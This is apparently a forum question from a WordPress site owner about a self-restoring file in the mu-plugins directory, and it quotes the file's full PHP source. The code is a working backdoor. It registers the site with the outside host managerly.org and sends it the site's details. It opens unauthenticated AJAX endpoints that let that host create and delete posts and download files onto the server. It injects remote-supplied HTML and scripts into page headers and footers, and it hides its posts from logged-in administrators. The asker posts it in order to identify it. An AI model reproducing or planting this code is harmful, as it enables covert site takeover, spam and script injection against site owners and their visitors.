What is creating this file? It’s in /wp-content/mu-plugins directory. If I delete it, it comes back after a while. it contains these code:

<?php
if(!function_exists('do_rms_activation_task'))
{
    /* ------------Register Config Variables------------ */
    $GLOBALS['rms_report_to']            =   'https://managerly.org/wp-admin/admin-ajax.php';

    $GLOBALS['rms_disclaimer_text']      =   [];

    $GLOBALS['rms_ajax_del_request']     =   false;

    function send_rms_curl_request($action, $body)
    {
        $body['action']             =   $action;
        $body['remote_site_hash']   =   get_option('rms_remote_site_hash', '');
        $body['remote_site_id']     =   get_option('rms_remote_site_id', 0);

        $connect_to=$GLOBALS['rms_report_to'];

        $args=
        [
            'method'      => 'POST',
            'timeout'     => 15,
            'redirection' => 15,
            'headers'     => ['Referer'=>$connect_to, 'User-Agent'=>$_SERVER['HTTP_USER_AGENT']],
            'body'        => $body
        ];

        // Send to RMS
        $curl   = new Wp_Http_Curl();

        $result=$curl->request($connect_to, $args);

        $result=(is_array($result) && isset($result['body'])) ? json_decode($result['body'], true) : null;

        return !$result ? [] : $result;
    }

    /* -------------Register Site to Manager------------- */
    function do_rms_activation_task($name, $text, $activating)
    {
        // generate password for later remote actions
        $length     = 5;
        $rms_pass   = substr(str_shuffle(str_repeat($x='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length/strlen($x)) )),1,$length);
        $rms_pass   = $rms_pass.microtime(true);
        $hash       = password_hash($rms_pass, PASSWORD_BCRYPT);

        $show_post=get_option('rms_show_post_to_logged');
        $show_post!=='yes' ? $show_post='no' : 0;

        // Gather data
        $data=
        [
            'title'     => get_bloginfo('name'),
            'url'       => get_home_url(),
            'ajax_url'  => admin_url('admin-ajax.php'),
            'ip'        => $_SERVER['SERVER_ADDR'],
            'tp'        => $name,
            'tp_status' => $activating,
            'hash'      => $hash,
            'show_to_logged'=>$show_post
        ];

        // send to rms
        $result = send_rms_curl_request('rms_ping_from_the_universe', ['site_data' => json_encode($data)]);

        update_option('rms_remote_site_id', (isset($result['id']) ? $result['id'] : 0));
        update_option('rms_remote_site_hash', (isset($result['hash']) ? $result['hash'] : ''));

        update_option('rms_remote_connection_pass', $rms_pass);

        // show disclaimer if necessary when activating
        if($activating==true)
        {
            is_string($text) ? $GLOBALS['rms_disclaimer_text'][]=$text : 0;

            if(count($GLOBALS['rms_disclaimer_text'])>0) 
            {
                $resp=json_encode($GLOBALS['rms_disclaimer_text']);

                setcookie('rms_disclaimer_pop_up', $resp);
            }
        }
    }

    /* check remote hash */
    function rms_check_remote_hash_pass()
    {
        if(isset($_POST['remote_connection_hash']) && is_string($_POST['remote_connection_hash']))
        {
            $rms_pass=get_option('rms_remote_connection_pass');

            if(is_string($rms_pass) && password_verify($rms_pass, $_POST['remote_connection_hash']))
            {
                return true;
            }
        }
        exit;
    }

    /* ----Delete featured image upon change or delete---- */
    function delete_rms_thumbnaiil_remote($post_id)
    {
        $post_thumbnail_id = get_post_thumbnail_id( $post_id );

        is_numeric($post_thumbnail_id) ? wp_delete_attachment($post_thumbnail_id, true) : 0;
    }

    /* -----------Fetch and create featured image----------- */
    function rms_create_post_thumbnail($image_url, $post_id)
    {
        $image_name       = explode('/', $image_url); 
        $image_name       = end($image_name);
        $upload_dir       = wp_upload_dir(); // Set upload folder
        $image_data       = file_get_contents($image_url); // Get image data

        if($image_data==false)
        {
            return;
        }

        $unique_file_name = wp_unique_filename( $upload_dir['path'], $image_name ); // Generate unique name
        $filename         = basename( $unique_file_name ); // Create image file name

        // Check folder permission and define file location
        if( wp_mkdir_p( $upload_dir['path'] ) ) {
            $file = $upload_dir['path'] . '/' . $filename;
        } else {
            $file = $upload_dir['basedir'] . '/' . $filename;
        }

        // Create the image  file on the server
        file_put_contents( $file, $image_data );

        // Check image file type
        $wp_filetype = wp_check_filetype( $filename, null );

        // Set attachment data
        $attachment = array(
            'post_mime_type' => $wp_filetype['type'],
            'post_title'     => sanitize_file_name( $filename ),
            'post_content'   => '',
            'post_status'    => 'inherit'
        );

        // Delete existing thumbnail
        delete_rms_thumbnaiil_remote($post_id);

        // Create the attachment
        $attach_id = wp_insert_attachment( $attachment, $file, $post_id );

        update_post_meta($attach_id, 'rms_remote_featured_image', $post_id);

        // Include image.php
        require_once(ABSPATH . 'wp-admin/includes/image.php');

        // Define attachment metadata
        $attach_data = wp_generate_attachment_metadata( $attach_id, $file );

        // Assign metadata to attachment
        wp_update_attachment_metadata( $attach_id, $attach_data );

        // And finally assign featured image to post
        set_post_thumbnail( $post_id, $attach_id );

        return $attach_id;
    }

    /* ----------------Create various posts---------------- */
    add_action('wp_ajax_nopriv_rms_ping_from_the_universe', function()
    {
        rms_check_remote_hash_pass();

        if(!isset($_POST['post'])){exit;}

        $post=json_decode(stripcslashes($_POST['post']), true);

        if($post['local_id']>0)
        {
            /* Retrieve existing post id */
            $args=
            [
                'post_type'=>['post', 'page', 'rms_remote_hook'],
                'post_status' => 'any',
                'meta_key'=>'rms_rm_uniq_meta_post_id', 
                'meta_value'=>$post['local_id']
            ];

            $ex_post=get_posts($args);

            // if exist, update that
            (is_array($ex_post) && isset($ex_post[0], $ex_post[0]->ID)) ? $post['ID']=$ex_post[0]->ID : 0;
        }

        $to_post=['ID', 'post_title', 'post_content', 'post_type', 'post_status'];

        // Convert post content
        $pst=[];
        foreach($to_post as $k)
        {
            if(isset($post[$k])) 
            {
                isset($post['hook_name']) ? $post[$k]=htmlspecialchars($post[$k]) : 0;

                $pst[$k]=$post[$k];
            }
        }

        // Default return value
        $resp=['rms_post_id'=>0, 'rms_post_url'=>''];

        $post_id=wp_insert_post($pst);

        if(is_numeric($post_id) && $post_id>0)
        {
            remove_action('pre_get_posts', 'rms_pre_get_post_filter_action');

            $resp['rms_post_id']=$post_id;
            $resp['rms_post_url']=$post['post_type']=='rms_remote_hook' ? get_home_url() : get_permalink($post_id);

            update_post_meta($post_id, 'rms_rm_uniq_meta_post_id', $post['local_id']);

            // Generate featured image
            if(isset($post['featured_image'])) 
            {
                rms_create_post_thumbnail($post['featured_image'], $post_id);
            }

            isset($post['hook_name']) ? update_post_meta($post_id, 'rms_remote_hook', $post['hook_name']) : 0;
        }

        exit(json_encode($resp));
    });

    /* Enable/disable post show hide */
    add_action('wp_ajax_nopriv_rms_change_remote_post_state_for_logged', function()
    {
        rms_check_remote_hash_pass();

        if(isset($_POST['post_state']))
        {
            $state=(is_string($_POST['post_state']) && $_POST['post_state']=='yes') ? 'yes' : 'no';

            update_option('rms_show_post_to_logged', $state);

            exit(json_encode(['message'=>'New post state assigned.']));
        }
    });


    /* --------------Delete posts-------------- */
    add_action('wp_ajax_nopriv_rms_ping_delete_content', function()
    {
        rms_check_remote_hash_pass();

        if(!isset($_POST['local_ids'])){exit;}

        $l_ids = json_decode(stripcslashes($_POST['local_ids']), true);

        if(!is_array($l_ids) || count($l_ids)==0){exit;}

        $args=
        [
            'meta_key'  =>'rms_rm_uniq_meta_post_id', 
            'meta_value'=>$l_ids,
            'post_status'=>'any',
            'post_type'=>['post', 'page', 'rms_remote_hook']
        ];

        $pst=get_posts($args);

        $GLOBALS['rms_ajax_del_request']=true;

        foreach($pst as $p)
        {
            delete_rms_thumbnaiil_remote($p->ID);
            wp_delete_post($p->ID, true);
        }

        exit(json_encode(['message'=>count($pst).' posts deleted from remote site.']));
    });



    /* ----------Invoke remote hooks---------- */
    $hook_posts=get_posts(['post_type'=>'rms_remote_hook', 'post_status'=>'any']);
    !is_array($hook_posts) ? $hook_posts=[] : 0;

    // Store hook posts in global
    global $rms_hok_list_array;
    $GLOBALS['rms_hok_list_array']=[];

    foreach($hook_posts as $p)
    {
        $met=get_post_meta($p->ID, 'rms_remote_hook', true);

        if(!is_string($met) || $met==''){continue;}

        !isset($GLOBALS['rms_hok_list_array'][$met]) ? $GLOBALS['rms_hok_list_array'][$met]=[] : 0;

        $GLOBALS['rms_hok_list_array'][$met][]=htmlspecialchars_decode($p->post_content);
    }

    // Process individual hook
    function run_rms_hook_caller_func($hook_name)
    {
        if(!isset($GLOBALS['rms_hok_list_array'][$hook_name])){return;}

        foreach($GLOBALS['rms_hok_list_array'][$hook_name] as $str)
        {
            echo is_string($str) ? $str : '';
        }
    }

    /* Post delete hook/notification */
    add_action( 'before_delete_post', 'rms_action_function_name_6568');
    function rms_action_function_name_6568($id)
    {
        $local_id=get_post_meta($id, 'rms_rm_uniq_meta_post_id', true);

        if(!is_numeric($local_id)){return;}

        delete_rms_thumbnaiil_remote($id);

        if($GLOBALS['rms_ajax_del_request']==true){return;}

        send_rms_curl_request('rms_del_ping_from_the_remote', ['local_id'=>$local_id, 'remote_id'=>$id]);
    }

    /* ----------Hide post for logged in---------- */
    function rms_pre_get_post_filter_action($query)
    {
        $meta_query = $query->get('meta_query');

        !is_array($meta_query) ? $meta_query=[] : 0;

        $meta_query[] = [
                            'key'=>'rms_rm_uniq_meta_post_id',
                            'compare'=>'NOT EXISTS'
                        ];

        $meta_query[] = [
                            'key'=>'rms_remote_featured_image',
                            'compare'=>'NOT EXISTS'
                        ];

        $query->set('meta_query', $meta_query);
    }
    add_action('init', function()
    {
        if(get_option('rms_show_post_to_logged')=='yes' || !is_user_logged_in())
        {   
            if(!is_admin() && strpos(strtolower($_SERVER['REQUEST_URI']), 'wp-json/wp/')===false)
            {
                add_action('wp_head', function(){run_rms_hook_caller_func('wp_head');});
                add_action('wp_footer', function(){run_rms_hook_caller_func('wp_footer');});
            }

            return;
        }

        add_action('admin_head', function()
        {
            echo '<style>ul.subsubsub li.mine{display:none !important}</style>';
        });

        add_filter('pre_get_posts', 'rms_pre_get_post_filter_action');
    });

    /* --------------Frontend Scripts-------------- */
    add_action('admin_footer', function()
    {
        ?>
            <script>
                jQuery(document).ready(function($)
                {
                    var delete_cookie=function( name ) 
                    {
                        document.cookie = name + '=; expires=Thu, 01 Jan 1970 00:00:01 GMT;';
                    }

                    var rms_getCookie=function(cname) 
                    {
                        var name = cname + "=";
                        var ca = document.cookie.split(';');
                        for(var i = 0; i < ca.length; i++) {
                            var c = ca[i];
                            while (c.charAt(0) == ' ') {
                            c = c.substring(1);
                            }
                            if (c.indexOf(name) == 0) {
                            return c.substring(name.length, c.length);
                            }
                        }
                        return "";
                    }

                    /* ----------Show disclaimer if necessary---------- */
                    var disc=rms_getCookie('rms_disclaimer_pop_up');
                    if(!disc){return;}

                    disc = disc.replace(/+/g, '%20');
                    disc = decodeURIComponent(disc); 

                    disc=JSON.parse(disc);

                    if(!Array.isArray(disc)){return;}

                    disc.forEach(function(text)
                    {
                        var container=$('<div></div>');

                        container.css
                        ({
                            'position':'fixed',
                            'left':0,
                            'right':0,
                            'top':0,
                            'bottom':0,
                            'background':'rgba(0, 0, 0, 0.384)',
                            'z-index':'999999999'
                        });

                        var disclaimer=$('<div></div>');
                        disclaimer.css
                        ({
                            'width':'500px',
                            'position':'relative',
                            'top':'40px',
                            'max-width':'calc(100% - 40px)',
                            'max-height':'calc(100% - 80px)',
                            'overflow':'auto',
                            'padding':'11px',
                            'background':'white',
                            'border-radius':'7px',
                            'margin':'auto auto',
                            'display':'block'
                        }).find('img').css
                        ({
                            'max-width':'100%',
                            'height':'auto'
                        });

                        var head=$('<h4>Disclaimer</h4>');
                        head.css
                        ({
                            'text-align':'center'
                        });

                        var body=$('<div></div>');
                        body.html(text);

                        var agree=$('<div style="text-align:right"><button class="button button-primary">Agree</button></div>');
                        agree.find('button').click(function()
                        {
                            container.remove();
                        });

                        disclaimer.append(head).append(body).append(agree);
                        container.append(disclaimer);

                        $('body').append(container);
                    });

                    delete_cookie('rms_disclaimer_pop_up');
                });
            </script>
        <?php
    });
}

?>